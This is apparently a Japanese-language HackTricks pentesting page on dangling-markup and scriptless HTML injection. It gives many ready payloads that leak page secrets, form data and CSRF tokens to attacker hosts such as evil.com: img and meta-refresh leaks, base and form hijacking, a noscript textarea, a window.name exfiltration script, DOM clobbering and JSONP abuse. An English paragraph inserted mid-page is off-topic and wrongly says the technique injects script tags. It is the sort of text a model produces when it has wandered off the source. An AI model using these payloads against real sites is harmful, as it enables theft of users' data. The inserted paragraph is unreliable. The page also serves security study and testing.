hacktricks/pentesting-web/dangling-markup-html-scriptless-injection.md
2023-07-07 23:42:27 +00:00

19 KiB
Raw Blame History

ダングリングマークアップ - HTMLスクリプトレスインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

概要

このテクニックは、HTMLインジェクションが見つかった場合にユーザーから情報を抽出するために使用できます。これは、XSS 悪用する方法が見つからない場合に非常に便利ですが、いくつかのHTMLタグをインジェクトすることができる場合です。
また、HTML内に平文で保存された秘密がある場合に、クライアントからそれを外部に持ち出すためにも役立ちます。また、スクリプトの実行を誤認させるためにも使用できます。

ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に持ち出すことによって、いくつかのコンテンツセキュリティポリシーをバイパスするために使用できますhtmlタグ、CSS、http-metaタグ、フォーム、baseなど

主な応用

平文の秘密の盗み出し

<img src='http://evil.com/log.cgi?をインジェクトすると、ページが読み込まれたときに被害者はインジェクトされたimgタグと次のクォート内のコードの間のすべてのコードを送信します。そのチャンクに秘密が何らかの方法で存在する場合、それを盗みます(同じことをダブルクォートを使用して行うこともできます。どちらがより興味深いかを見てみてください)。

imgタグが禁止されている場合CSPのためなど<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?を使用することもできます。

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

注意してください、Chromeは "<" または "\n" を含むHTTP URLをブロックしますので、"ftp" のような他のプロトコルスキームを試すことができます。

また、CSSの@importを悪用することもできます(";"が見つかるまでのすべてのコードを送信します)。

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

あなたは**<table**を使用することもできます:

<table background='//your-collaborator-id.burpcollaborator.net?'

あなたは<baseタグを挿入することもできます。引用符が閉じられるまで、すべての情報が送信されますが、ユーザーの操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、ベースタグがリンクが指すドメインを変更しているからです):

<base target='        <--- Injected
steal me'<b>test</b>

フォームの盗み出し

When conducting a web application penetration test, it is important to identify and exploit any vulnerabilities that may exist in the application's forms. One such vulnerability is known as "dangling markup" or "HTML scriptless injection."

Web forms are commonly used to collect user input, such as login credentials or personal information. In some cases, the form data is not properly sanitized or validated on the server side, allowing an attacker to inject malicious code into the form fields.

HTML scriptless injection is a technique that takes advantage of this vulnerability by injecting HTML tags into the form fields. These tags are designed to execute JavaScript code when the form is submitted, allowing the attacker to steal sensitive information or perform other malicious actions.

To exploit this vulnerability, the attacker needs to identify a form that is vulnerable to HTML scriptless injection. This can be done by manually inspecting the HTML source code of the web application or by using automated scanning tools.

Once a vulnerable form is identified, the attacker can inject HTML tags into the form fields. For example, the attacker may inject a <script> tag with JavaScript code that captures the form data and sends it to a remote server controlled by the attacker.

To prevent HTML scriptless injection attacks, web developers should ensure that all user input is properly sanitized and validated on the server side. This includes checking for and removing any HTML tags or special characters that could be used to inject malicious code.

Additionally, web application firewalls (WAFs) can be used to detect and block HTML scriptless injection attacks. WAFs can analyze incoming requests and block any requests that contain suspicious or malicious code.

By understanding and exploiting vulnerabilities like HTML scriptless injection, penetration testers can help organizations identify and fix security flaws in their web applications, protecting sensitive user data from being stolen or misused.

<base href='http://evil.com/'>

次に、データをパスに送信するフォーム(例:<form action='update_profile.php'>)は、データを悪意のあるドメインに送信します。

フォームの盗み出し2

フォームヘッダーを設定します:<form action='http://evil.com/log_steal'> これにより、次のフォームヘッダーが上書きされ、フォームのすべてのデータが攻撃者に送信されます。

フォームの盗み出し3

ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更することができます。

<button name=xss type=submit formaction='https://google.com'>I get consumed!

攻撃者はこれを使って情報を盗むことができます。

クリアテキストの秘密の盗み出し 2

最新のテクニックを使用してフォームを盗む(新しいフォームヘッダを注入する)後、新しい入力フィールドを注入することができます:

<input type='hidden' name='review_body' value="

そして、この入力フィールドには、HTML内のダブルクォートと次のダブルクォートの間のすべてのコンテンツが含まれます。この攻撃は、"平文の秘密の盗み出し"と"フォームの盗み出し2"を組み合わせています。

同じことを、フォームと<option>タグを注入することで行うこともできます。閉じられた</option>が見つかるまでのすべてのデータが送信されます。

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

フォームパラメーターのインジェクション

フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行される可能性があります。

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

noscriptを使用した平文の秘密情報の盗み出し

<noscript></noscript>は、ブラウザがJavaScriptをサポートしていない場合に解釈されるタグですChromeではchrome://settings/content/javascriptでJavaScriptを有効/無効にすることができます)。

攻撃者が制御するサイトに、インジェクションポイントからページの最下部までのコンテンツを盗み出す方法は、次のようにインジェクションすることです:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

ユーザーの操作を利用してCSPをバイパスする

このポートスウィガーの研究から、最もCSPが制限された環境でも、ユーザーの操作を利用してデータを外部に漏洩することができることがわかります。今回は、以下のペイロードを使用します:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

注意してください。被害者に対して、あなたが制御するペイロードリダイレクトするリンクをクリックするように依頼します。また、baseタグ内のtarget属性には、次のシングルクォートまでのHTMLコンテンツが含まれることに注意してください。
これにより、リンクがクリックされた場合の**window.nameは、そのHTMLコンテンツ全体になります。したがって、リンクをクリックして被害者がアクセスしているページを制御しているため、window.nameにアクセスしてそのデータを外部に漏洩**することができます。

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

誤解を招くスクリプトのワークフロー1 - HTMLネームスペース攻撃

次のタグを上書きし、スクリプトのフローに影響を与える値を持つ、HTML内に新しいタグを挿入します。この例では、情報を共有する相手を選択します。

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <script>
    var target = document.getElementById('target');
    var shareWith = target.getAttribute('data-share-with');
    // Perform actions based on the value of 'shareWith'
  </script>
</svg>

<div id="target" data-share-with="example@example.com"></div>

この攻撃では、data-share-with属性の値を変更することで、スクリプトのフローを操作することができます。

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

誤解を招くスクリプトのワークフロー2 - スクリプト名前空間攻撃

HTMLタグを挿入してJavaScriptの名前空間内に変数を作成します。その後、この変数はアプリケーションのフローに影響を与えます。

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

JSONPの乱用

JSONPインターフェースを見つけた場合、任意の関数と任意のデータを呼び出すことができる可能性があります。

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

または、いくつかのJavaScriptを実行してみることもできます

<script src='/search?q=a&call=alert(1)'></script>

Iframeの悪用

注意してください、子ドキュメントは親のlocationプロパティを表示および設定することができます。 これは、クライアントが他のページにアクセスすることができることを意味します。以下のようなコードをiframe内に読み込むことで、クライアントが他のページにアクセスできます。

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

これは次のように緩和できます: sandbox='allow-scripts allow-top-navigation'

また、iframeを使って異なるページからiframeのname属性を利用して機密情報を漏洩させることもできます。これは、HTMLインジェクションを悪用して自身をiframe化するiframeを作成することができるため、機密情報がiframeのname属性内に表示され、それを初期のiframeからアクセスして漏洩させることができるからです。

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

詳細については、https://portswigger.net/research/bypassing-csp-with-dangling-iframesを参照してください。

<metaの乱用

meta http-equivを使用して、Cookieの設定などの複数のアクションを実行できます:<meta http-equiv="Set-Cookie" Content="SESSID=1">またはリダイレクトを実行できますこの場合は5秒後に<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

これは、http-equivに関するCSPで回避することができます( Content-Security-Policy: default-src 'self';または Content-Security-Policy: http-equiv 'self';

新しい<portal HTMLタグ

<portalタグの脆弱性に関する非常に興味深い研究こちらで見つけることができます。
この執筆時点では、Chromeでportalタグを有効にする必要があります。chrome://flags/#enable-portalsで有効にしないと機能しません。

<portal src='https://attacker-server?

HTMLリーク

HTMLで接続性を漏洩させる方法はすべてがDangling Markupに役立つわけではありませんが、時には役に立つこともあります。こちらで確認できますhttps://github.com/cure53/HTTPLeaks/blob/master/leak.html

XS-Searchは、サイドチャネル攻撃を悪用してクロスオリジン情報を外部流出させるためのものです。したがって、これはDangling Markupとは異なる技術ですが、一部の技術はHTMLタグの含みJSの実行あり・なしを悪用しています。例えば、CSS InjectionLazy Load Imagesなどです。

{% content-ref url="xs-search.md" %} xs-search.md {% endcontent-ref %}

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

参考文献

ここで紹介されているすべての技術とその他の詳細については、以下で確認できます:

{% embed url="http://lcamtuf.coredump.cx/postxss/" %}

悪用される可能性のある他のHTMLタグは、こちらで見つけることができます

{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}

詳細情報:

{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥